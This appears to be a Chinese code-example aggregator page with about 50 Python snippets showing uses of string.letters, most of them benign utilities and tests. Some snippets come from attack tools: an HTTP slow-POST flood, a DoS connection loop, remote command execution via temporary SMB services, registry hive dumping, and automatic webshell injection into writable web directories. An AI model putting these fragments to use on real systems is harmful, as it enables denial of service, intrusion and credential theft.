我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用string.letters()。
def _send_http_post(self, pause=10): global stop_now self.socks.send("POST / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 900\r\n" "Content-Length: 10000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL self.socks.send(p) time.sleep(random.uniform(0.1, 3)) self.socks.close()
def upload_file(upload_file_name, temp): # upload_file_name????? # ??? saveas??? # ?????????,??git???saveas #key = md5(str(time.time())+''.join(random.sample(string.letters, 12))).hexdigest() # key ?????? print u"??????: ", pic_name = raw_input() uuid_6 = uuid.uuid4().get_hex()[:8] #????? key = pic_name+"_"+uuid_6+".png" copyfile(upload_file_name,join(saveas,key)) mime_type = 'image/png' token = q.upload_token(bucket, key) ret, info = put_file(token, key, upload_file_name, mime_type=mime_type, check_crc=True) print 'upload qiniu result:', info assert ret['key'] == key assert ret['hash'] == etag(upload_file_name) os.rename(upload_file_name, upload_file_name+'.old') return domain+'/'+key
def attack(): ip = socket.gethostbyname( host ) global n msg=str(string.letters+string.digits+string.punctuation) data="".join(random.sample(msg,5)) dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: n+=1 dos.connect((ip, port)) dos.send( "GET /%s HTTP/1.1\r\n" % data ) print "\n "+time.ctime().split(" ")[3]+" "+"["+str(n)+"] #-#-# Hold Your Tears #-#-#" except socket.error: print "\n [ No connection! Server maybe down ] " dos.close()
def str( number, radix ): """str( number, radix ) -- reverse function to int(str,radix) and long(str,radix)""" if not 2 <= radix <= 36: raise ValueError, "radix must be in 2..36" abc = string.digits + string.letters result = '' if number < 0: number = -number sign = '-' else: sign = '' while True: number, rdigit = divmod( number, radix ) result = abc[rdigit] + result if number == 0: return sign + result # never here because number >= 0, radix > 0, we repeat (number /= radix)
def ping(self, user, text = None): """Measure round-trip delay to another IRC client. """ if self._pings is None: self._pings = {} if text is None: chars = string.letters + string.digits + string.punctuation key = ''.join([random.choice(chars) for i in range(12)]) else: key = str(text) self._pings[(user, key)] = time.time() self.ctcpMakeQuery(user, [('PING', key)]) if len(self._pings) > self._MAX_PINGRING: # Remove some of the oldest entries. byValue = [(v, k) for (k, v) in self._pings.items()] byValue.sort() excess = self._MAX_PINGRING - len(self._pings) for i in xrange(excess): del self._pings[byValue[i][1]]
def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le') command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile self.__serviceDeleted = False resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) self.__serviceDeleted = True scmr.hRCloseServiceHandle(self.__scmr, service)
def make_wifipassword(args): import random, string, hashlib if args.password is None: printable = string.digits + string.letters + string.punctuation args.password = ''.join([random.choice(printable) for i in xrange(32)]) if args.password_id is None: args.password_id = random.randint(0x0010, 0xFFFF) pkhash = hashlib.sha256(args.pubkey.read()).digest()[0:20] record = nfc.ndef.WifiPasswordRecord() record.password['public-key-hash'] = pkhash record.password['password-id'] = args.password_id record.password['password'] = args.password message = nfc.ndef.Message(record) if args.outfile.name == "<stdout>": args.outfile.write(str(message).encode("hex")) else: args.outfile.write(str(message))
def _insert(self, x, y, text): """ Insert text at given x, y coordinates --- used with drag-and-drop. """ # Clean text. import string text = filter(lambda x: x in (string.letters + string.digits + string.punctuation + ' '), text) # Find insertion point. index, flags = self.HitTest((x, y)) if index == wx.NOT_FOUND: if flags & wx.LIST_HITTEST_NOWHERE: index = self.GetItemCount() else: return # Get bounding rectangle for the item the user is dropping over. rect = self.GetItemRect(index) # If the user is dropping into the lower half of the rect, we want to insert _after_ this item. if y > rect.y + rect.height/2: index += 1 self.InsertStringItem(index, text)
def url_validator(key, data, errors, context): ''' Checks that the provided value (if it is present) is a valid URL ''' import urlparse import string model = context['model'] session = context['session'] url = data.get(key, None) if not url: return pieces = urlparse.urlparse(url) if all([pieces.scheme, pieces.netloc]) and \ set(pieces.netloc) <= set(string.letters + string.digits + '-.') and \ pieces.scheme in ['http', 'https']: return errors[key].append(_('Please provide a valid URL'))
def add_random_url_param(url): random_param = '%s=%s' % ( utils.strings.randstr( n = 4, fixed = False, charset = string.letters ), utils.strings.randstr( n = 10, fixed = False ) ) if '?' not in url: url += '?%s' % random_param else: url += '&%s' % random_param return url
def _broadcastScreen(self, fullscreen=''): if self.vncserver is None: import random import string pwdfile=os.path.expanduser('~/.config/epoptes/vncpasswd') pwd=''.join(random.sample(string.letters + string.digits, 8)) subprocess.call(['x11vnc', '-storepasswd', pwd, pwdfile]) f=open(pwdfile) pwd=f.read() f.close() self.pwd=''.join('\\%o' % ord(c) for c in pwd) self.vncserverport = self.findUnusedPort() self.vncserver = subprocess.Popen(['x11vnc', '-noshm', '-nopw', '-quiet', '-viewonly', '-shared', '-forever', '-nolookup', '-24to32', '-threads', '-rfbport', str(self.vncserverport), '-rfbauth', pwdfile]) # Running `xdg-screensaver reset` as root doesn't reset the D.E. # screensaver, so send the reset command to both epoptes processes self.execOnSelectedClients(['reset_screensaver'], mode=EM_SYSTEM_AND_SESSION) self.execOnSelectedClients(["receive_broadcast", self.vncserverport, self.pwd, fullscreen], mode=EM_SYSTEM_OR_SESSION)
def _random_string(length = None, allowed_chars = None): ''' Generate a random string of the given length. :param length: length of the string (defaults to settings.NONCE_LENGTH) :rtype length: int :param allowed_chars: characters to allow in string :rtype allowed_chars: str :return: generated string :rtype: str ''' if allowed_chars is None: try: allowed_chars = string.letters except AttributeError: allowed_chars = string.ascii_letters if length is None: length = settings.NONCE_LENGTH s = ''.join(random.choice(allowed_chars) for _ in range(length)) return s
def createKmsRequestBase(): requestDict = kmsBase.kmsRequestStruct() requestDict['versionMinor'] = config['KMSProtocolMinorVersion'] requestDict['versionMajor'] = config['KMSProtocolMajorVersion'] requestDict['isClientVm'] = 0 requestDict['licenseStatus'] = config['KMSClientLicenseStatus'] requestDict['graceTime'] = 43200 requestDict['applicationId'] = UUID(uuid.UUID(config['KMSClientAppID']).bytes_le) requestDict['skuId'] = UUID(uuid.UUID(config['KMSClientSkuID']).bytes_le) requestDict['kmsCountedId'] = UUID(uuid.UUID(config['KMSClientKMSCountedID']).bytes_le) requestDict['clientMachineId'] = UUID(uuid.UUID(config['cmid']).bytes_le if (config['cmid'] is not None) else uuid.uuid4().bytes_le) requestDict['previousClientMachineId'] = '\0' * 16 #requestDict['clientMachineId'] # I'm pretty sure this is supposed to be a null UUID. requestDict['requiredClientCount'] = config['RequiredClientCount'] requestDict['requestTime'] = filetimes.dt_to_filetime(datetime.datetime.utcnow()) requestDict['machineName'] = (config['machineName'] if (config['machineName'] is not None) else ''.join(random.choice(string.letters + string.digits) for i in range(random.randint(2,63)))).encode('utf-16le') requestDict['mnPad'] = '\0'.encode('utf-16le') * (63 - len(requestDict['machineName'].decode('utf-16le'))) # Debug Stuff logging.debug("Request Base Dictionary: %s" % requestDict.dump()) return requestDict
def is_base64_encoded(sample): ''' Check if a sample is likely base64-encoded sample - (string) The sample to evaluate ''' base64chars = string.letters + string.digits + string.whitespace base64chars += '/+=' # Turns out a lot of crazy things will b64-decode happily with # sample.decode('base64'). This is the fix. if any([char not in base64chars for char in sample]): return False try: sample.decode('base64') return True except: return False
def setword(self): # selects word and places it in appropriate position i[0] = 0 self.guessed = [] if len(self.words) > 0: self.currentword = self.words.pop() else: gameover(1, self.words) while len(self.currentword) > 11: self.currentword = self.words.pop() self.theword.config(text='_ ' * len(self.currentword)) for l in self.letters.values(): # #color of letters in letter box l.config(fg='white') self.update()
def _create_group(self, user, name = None, throw_web = False): # {{{2 """ create a user either on the API or using the web and email """ self.assertTrue( isinstance( user, User ) ) if name is None: chars = string.letters # you can append: + string.digits name = ''.join( [ choice(chars) for i in xrange(8) ] ) if not throw_web: group = Group.objects.create(name = name) Membership.objects.create(user = user, group = group) return group else: self.assertTrue( user.is_active ) login = self.client.login( username = user.username, password = 'p' ) self.assertTrue( login ) response = self.client.post ( reverse('group_new'), {'name': name, 'description': u'create_group'} ) self.assertEqual( response.status_code, 302 ) return Group.objects.get(name = name)
def Gen_Dict(): ch=str(raw_input( Fore.CYAN +"Want to enter custom charset??(Enter y or n): "+Fore.RESET)) if ch == 'y': charset=str(raw_input( Fore.CYAN +"Enter custom charset: "+Fore.RESET)) elif ch == 'n': charset=string.letters[0:26] min_length=int(input( Fore.CYAN +"Enter min passwd length: "+Fore.RESET)) max_length=int(input( Fore.CYAN +"Enter max passwd length: "+Fore.RESET)) f=open("tempwlist","w") count=0 for wordlen in range(min_length,max_length+1): for word in listwords(charset,wordlen): f.write(word+'\n') count+=1 print Fore.GREEN+"\nDictionary created with %s words....\n" %count + Fore.RESET f.close()
def readColor(text): """Read color names or tuples, RGB or CMYK, and return a Color object.""" if not text: return None from reportlab.lib import colors from string import letters if text[0] in letters: return colors.__dict__[text] tup = lengthSequence(text) msg = "Color tuple must have 3 (or 4) elements for RGB (or CMYC)." assert 3 <= len(tup) <= 4, msg msg = "Color tuple must have all elements <= 1.0." for i in range(len(tup)): assert tup[i] <= 1.0, msg if len(tup) == 3: colClass = colors.Color elif len(tup) == 4: colClass = colors.CMYKColor return colClass(*tup)
def auto_inject_phpfile(self, filename, webshell_content): Log.info("Auto injecting : [%s] => [%s]" % (filename, repr(webshell_content))) Log.info("Code : [%s]" % (repr(webshell_content))) Log.info("Length : [%d]" % (len(webshell_content))) Log.info("Getting writable dirs...") writable_dirs = self.get_writable_directory() urls = [] if len(writable_dirs) == 0: Log.error("No writable dirs...") return False else: for writable_dir in writable_dirs: writable_dir += "/" filename = ".%s.php" % (random_string(16, string.letters + string.digits)) Log.info("Writing [%s] into : [%s]" % (repr(webshell_content), writable_dir)) php_code = "file_put_contents('%s',base64_decode('%s'));" % ("%s/%s" % (writable_dir, filename), webshell_content.encode("base64").replace("\n","")) self.php_code_exec(php_code) base_url = "%s%s" % ("".join(["%s/" % (i) for i in self.url.split("/")[0:3]]), writable_dir.replace("%s" % (self.webroot), "")) webshell_url = ("%s%s" % (base_url, filename)).replace("//", "/").replace("https:/", "https://").replace("http:/", "http://") with open("Webshell.txt", "a+") as f: log_content = "%s => %s\n" % (webshell_url, repr(webshell_content)) f.write(log_content) urls.append(webshell_url) return urls
def _add_default_app_integration_args(app_integration_parser, clusters): """Add the default arguments to the app integration parsers""" # App integration cluster options app_integration_parser.add_argument( '--cluster', choices=clusters, required=True, help=ARGPARSE_SUPPRESS) # Validate the name being used to make sure it does not contain specific characters def _validate_name(val): """Validate acceptable inputs for the name of the function""" acceptable_chars = ''.join([string.digits, string.letters, '_-']) if not set(str(val)).issubset(acceptable_chars): raise app_integration_parser.error('Name must contain only letters, numbers, ' 'hyphens, or underscores.') return val # App integration name to be used for this instance that must be unique per cluster app_integration_parser.add_argument( '--name', dest='app_name', required=True, help=ARGPARSE_SUPPRESS, type=_validate_name) # Allow verbose output for the CLI with the --debug option app_integration_parser.add_argument('--debug', action='store_true', help=ARGPARSE_SUPPRESS)
def autolink(text, trim_url_limit=None, nofollow=False): """ Converts any URLs in text into clickable links. Works on http://, https:// and www. links. Links can have trailing punctuation (periods, commas, close-parens) and leading punctuation (opening parens) and it'll still do the right thing. If trim_url_limit is not None, the URLs in link text will be limited to trim_url_limit characters. If nofollow is True, the URLs in link text will get a rel="nofollow" attribute. """ trim_url = lambda x, limit=trim_url_limit: limit is not None and (x[:limit] + (len(x) >=limit and '...' or '')) or x words = word_split_re.split(text) nofollow_attr = nofollow and ' rel="nofollow"' or '' for i, word in enumerate(words): match = punctuation_re.match(word) if match: lead, middle, trail = match.groups() if middle.startswith('www.') or ('@' not in middle and not middle.startswith('http://') and not middle.startswith('https://') and \ len(middle) > 0 and middle[0] in string.letters + string.digits and \ (middle.endswith('.org') or middle.endswith('.net') or middle.endswith('.com'))): middle = '<a href="http://%s"%s target="_blank">%s</a>' % (middle, nofollow_attr, trim_url(middle)) if middle.startswith('http://') or middle.startswith('https://'): middle = '<a href="%s"%s target="_blank">%s</a>' % (middle, nofollow_attr, trim_url(middle)) if '@' in middle and not middle.startswith('www.') and not ':' in middle \ and simple_email_re.match(middle): middle = '<a href="mailto:%s">%s</a>' % (middle, middle) if lead + middle + trail != word: words[i] = lead + middle + trail return ''.join(words) # auto convert img.ly/abcd links to image tags
def randomStr(length=5): """ @param length: length of the random string. @type length: C{int} @return: a random string of characters. @rtype: C{str} """ return "".join([random.choice(string.letters) for _ in xrange(0, length)])
def __init__(self, *args, **kw): global ttyFont, fontHeight, fontWidth ttyFont = tkFont.Font(family = 'Courier', size = 10) fontWidth, fontHeight = max(map(ttyFont.measure, string.letters+string.digits)), int(ttyFont.metrics()['linespace']) self.width = kw.get('width', 80) self.height = kw.get('height', 25) self.callback = kw['callback'] del kw['callback'] kw['width'] = w = fontWidth * self.width kw['height'] = h = fontHeight * self.height Tkinter.Frame.__init__(self, *args, **kw) self.canvas = Tkinter.Canvas(bg='#000000', width=w, height=h) self.canvas.pack(side=Tkinter.TOP, fill=Tkinter.BOTH, expand=1) self.canvas.bind('<Key>', self.keyPressed) self.canvas.bind('<1>', lambda x: 'break') self.canvas.bind('<Up>', self.upPressed) self.canvas.bind('<Down>', self.downPressed) self.canvas.bind('<Left>', self.leftPressed) self.canvas.bind('<Right>', self.rightPressed) self.canvas.focus() self.ansiParser = ansi.AnsiParser(ansi.ColorText.WHITE, ansi.ColorText.BLACK) self.ansiParser.writeString = self.writeString self.ansiParser.parseCursor = self.parseCursor self.ansiParser.parseErase = self.parseErase #for (a, b) in colorMap.items(): # self.canvas.tag_config(a, foreground=b) # self.canvas.tag_config('b'+a, background=b) #self.canvas.tag_config('underline', underline=1) self.x = 0 self.y = 0 self.cursor = self.canvas.create_rectangle(0,0,fontWidth-1,fontHeight-1,fill='green',outline='green')
def populateDB(self, d): for x in string.letters: d[self.mk('S' + x)] = 10 * x # add a string d[self.mk('I' + x)] = ord(x) # add an integer d[self.mk('L' + x)] = [x] * 10 # add a list inst = DataClass() # add an instance inst.S = 10 * x inst.I = ord(x) inst.L = [x] * 10 d[self.mk('O' + x)] = inst # overridable in derived classes to affect how the shelf is created/opened
def test01_get_returns_none(self): d = db.DB() d.open(self.filename, db.DB_BTREE, db.DB_CREATE) d.set_get_returns_none(1) for x in string.letters: d.put(x, x * 40) data = d.get('bad key') self.assertEqual(data, None) data = d.get(string.letters[0]) self.assertEqual(data, string.letters[0]*40) count = 0 c = d.cursor() rec = c.first() while rec: count = count + 1 rec = c.next() self.assertEqual(rec, None) self.assertEqual(count, len(string.letters)) c.close() d.close()
def test02_get_raises_exception(self): d = db.DB() d.open(self.filename, db.DB_BTREE, db.DB_CREATE) d.set_get_returns_none(0) for x in string.letters: d.put(x, x * 40) self.assertRaises(db.DBNotFoundError, d.get, 'bad key') self.assertRaises(KeyError, d.get, 'bad key') data = d.get(string.letters[0]) self.assertEqual(data, string.letters[0]*40) count = 0 exceptionHappened = 0 c = d.cursor() rec = c.first() while rec: count = count + 1 try: rec = c.next() except db.DBNotFoundError: # end of the records exceptionHappened = 1 break self.assertNotEqual(rec, None) self.assertTrue(exceptionHappened) self.assertEqual(count, len(string.letters)) c.close() d.close() #----------------------------------------------------------------------
def make_salt(length=5): return ''.join(random.choice(letters) for x in xrange(length)) # implement hashing
def random_string(length, alphabet=string.letters + string.digits): return "".join(random.choice(alphabet) for _ in range(length))
def __init__(self, var): if var[0] not in (string.letters + "_"): raise InvalidVarException("variable names must start with a " "letter or underscore") self.var = var
def __setattr__(self, name, value): if name == ('attr_prefix', 'text_key', 'cdata_prefix') and value is not None: if any(c in string.letters or c == '_' for c in value): raise XMLSchemaValueError( '%r cannot include letters or underscores: %r' % (name, value)) super(NamespaceMapper, self).__setattr__(name, value)
def __init__(self, *args, **kwargs): self.procedures = RemoteProcedures() self.prefixes = Prefixes() self.session_id = ''.join( [random.choice(string.digits + string.letters) for i in xrange(16)]) super(WampProtocol, self).__init__(*args, **kwargs)
def name(self, name): if name: chars = [] for c in name: chars.append(c) if c not in string.digits + string.letters + "_-.": raise ValueError("Invalid job name: '{0}'. " "Illegal character {1} {2}".format(name, c, chars)) self._name = name
def random_string(length): """ Return a pseudo-random string of specified length. """ valid_chars = string_ascii_letters + string_digits return ''.join(random.choice(valid_chars) for i in range(length))
def thunk(input_str): ok_chars = string.letters + string.digits + "_" output_str = input_str for character in output_str: if not character in ok_chars: output_str = output_str.replace(character,"_") if output_str[0] in string.digits: output_str = "_" + output_str return output_str
def generateSalt(self,size=SALT_SIZE): return ''.join(random.SystemRandom().choice(string.letters + string.digits) for _ in range(size))
def random_string(): return random.choice( string.letters ) + ''.join([ random.choice(string.letters + string.digits) for i in range(10 - 1) ] )
def get_img(self): try: imgur = "None" download_img = True print((colored('[+] Downloading image from Cloud Service...', 'white'))) while download_img: # Remove not valid img downloaded if (os.path.isfile(imgur)): os.remove(imgur) imgur = ''.join(random.sample(string.letters+string.digits, 5)) + '.jpg' img = urllib2.urlopen("http://i.imgur.com/" + imgur).read() if len(img) != 503: # 'image not found' is 503 bytes with open(os.path.join('./', imgur), "wb") as f: f.write(img) f.close() with Image.open(imgur) as im: width, height = im.size # Enough big to insert data if (width > 400 and height > 400): download_img = False return imgur except: print((colored("[-] Get image error", "yellow"))) if (os.path.isfile(imgur)): os.remove(imgur)
def get_img(self): try: imgur = "None" download_img = True print((colored('[+] Downloading image from Cloud Service...', 'white'))) while download_img: # Remove not valid image downloaded if (os.path.isfile(imgur)): os.remove(imgur) imgur = ''.join(random.sample(string.letters+string.digits, 5)) + '.jpg' img = urllib2.urlopen("http://i.imgur.com/" + imgur).read() if len(img) != 503: # 'image not found' is 503 bytes with open(os.path.join('./', imgur), "wb") as f: f.write(img) f.close() with Image.open(imgur) as im: width, height = im.size # Big enough to insert data if (width > 400 and height > 400): download_img = False return imgur except: print 'Get image error' if (os.path.isfile(imgur)): os.remove(imgur)
def add_transition_list (self, list_input_symbols, state, action=None, next_state=None): '''This adds the same transition for a list of input symbols. You can pass a list or a string. Note that it is handy to use string.digits, string.whitespace, string.letters, etc. to add transitions that match character classes. The action may be set to None in which case the process() method will ignore the action and only set the next_state. The next_state may be set to None in which case the current state will be unchanged. ''' if next_state is None: next_state = state for input_symbol in list_input_symbols: self.add_transition (input_symbol, state, action, next_state)
def save_password(password, port): """ Used by main() to save the password in the parameters_port.py file. """ password_file = abspath('parameters_%i.py' % port) if password == '<random>': # make up a new password chars = string.letters + string.digits password = ''.join([random.choice(chars) for _ in range(8)]) cpassword = CRYPT()(password)[0] print('******************* IMPORTANT!!! ************************') print('your admin password is "%s"' % password) print('*********************************************************') elif password == '<recycle>': # reuse the current password if any if exists(password_file): return else: password = '' elif password.startswith('<pam_user:'): # use the pam password for specified user cpassword = password[1:-1] else: # use provided password cpassword = CRYPT()(password)[0] fp = open(password_file, 'w') if password: fp.write('password="%s"\n' % cpassword) else: fp.write('password=None\n') fp.close()
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): if configFile != '': self.__server = SMBSERVER((listenAddress,listenPort)) self.__server.processConfigFile(configFile) self.__smbConfig = None else: # Here we write a mini config for the server self.__smbConfig = ConfigParser.ConfigParser() self.__smbConfig.add_section('global') self.__smbConfig.set('global','server_name',''.join([random.choice(string.letters) for _ in range(8)])) self.__smbConfig.set('global','server_os',''.join([random.choice(string.letters) for _ in range(8)]) ) self.__smbConfig.set('global','server_domain',''.join([random.choice(string.letters) for _ in range(8)]) ) self.__smbConfig.set('global','log_file','None') self.__smbConfig.set('global','rpc_apis','yes') self.__smbConfig.set('global','credentials_file','') self.__smbConfig.set('global', 'challenge', "A"*8) # IPC always needed self.__smbConfig.add_section('IPC$') self.__smbConfig.set('IPC$','comment','') self.__smbConfig.set('IPC$','read only','yes') self.__smbConfig.set('IPC$','share type','3') self.__smbConfig.set('IPC$','path','') self.__server = SMBSERVER((listenAddress,listenPort), config_parser = self.__smbConfig) self.__server.processConfigFile() # Now we have to register the MS-SRVS server. This specially important for # Windows 7+ and Mavericks clients since they WONT (specially OSX) # ask for shares using MS-RAP. self.__srvsServer = SRVSServer() self.__srvsServer.daemon = True self.__wkstServer = WKSTServer() self.__wkstServer.daemon = True self.__server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) self.__server.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort()))
def __init__(self, SMBObject, exeFile): self._rpctransport = 0 self.__service_name = ''.join([random.choice(string.letters) for i in range(4)]) self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection = SMBObject) else: self.connection = SMBObject self.share = ''
def __retrieveHive(self, hiveName): tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp' ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) except: raise Exception("Can't open %s hive" % hiveName) keyHandle = ans['phkResult'] rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) # Now let's open the remote file, so it can be read later remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) return remoteFileName
def makeSafeFilename(inputFilename): try: safechars = string.letters + string.digits + "-_." return filter(lambda c: c in safechars, inputFilename) except: return "" ################################################################################################### # Check if resource exist ###################################################################################################
def string(size): return ''.join([random.choice(string.letters) for i in xrange(size)])
def alphanumeric(size): return ''.join([random.choice(string.letters + string.digits) for i in xrange(size)])
def printable(data): printable = string.digits + string.letters + string.punctuation + ' ' return ''.join([c if c in printable else '.' for c in data])
def randstr_n(n, chars=string.letters + string.digits): return ''.join( random.choice(chars) for _ in range(n) ) # Generate static random integers # to help filling actions['render']